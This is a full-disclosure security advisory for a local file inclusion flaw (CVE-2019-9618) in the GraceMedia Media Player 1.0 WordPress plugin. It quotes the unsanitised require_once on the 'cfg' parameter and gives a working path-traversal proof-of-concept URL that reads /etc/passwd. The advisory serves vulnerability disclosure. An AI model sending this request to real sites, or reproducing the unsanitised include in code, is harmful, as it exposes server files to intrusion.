WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion

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MGC ALERT 2019-001
- Original release date: February 06, 2019
- Last revised:  March 13, 2019
- Discovered by: Manuel García Cárdenas
- Severity: 7/10 (CVSS Base Score)
- CVE-ID: CVE-2019-9618
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I. VULNERABILITY
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WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion

II. BACKGROUND
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Hassle-free and user-friendly way to add a Media player directly to your
website.

III. DESCRIPTION
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This bug was found in the file:

/gracemedia-media-player/templates/files/ajax_controller.php

Vulnerable code:

require_once($_GET['cfg']);

The parameter "cfg" it is not sanitized allowing include local files

To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

IV. PROOF OF CONCEPT
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The following URL have been confirmed that is vulnerable to local file
inclusion.

Local File Inclusion POC:

GET
/wordpress/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd

V. BUSINESS IMPACT
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Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
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GraceMedia Media Player <= 1.0

VII. SOLUTION
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Disable plugin until a fix is available, vendor does not fix after 2
requests.

VIII. REFERENCES
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https://es.wordpress.org/plugins/gracemedia-media-player/

IX. CREDITS
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This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
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February 06, 2019 1: Initial release
March 13, 2019 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
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February 06, 2019 1: Vulnerability acquired by Manuel Garcia Cardenas
February 06, 2019 2: Email to vendor without response
February 21, 2019 3: Second email to vendor without response
March 13, 2019 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
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The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
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Manuel Garcia Cardenas
Pentester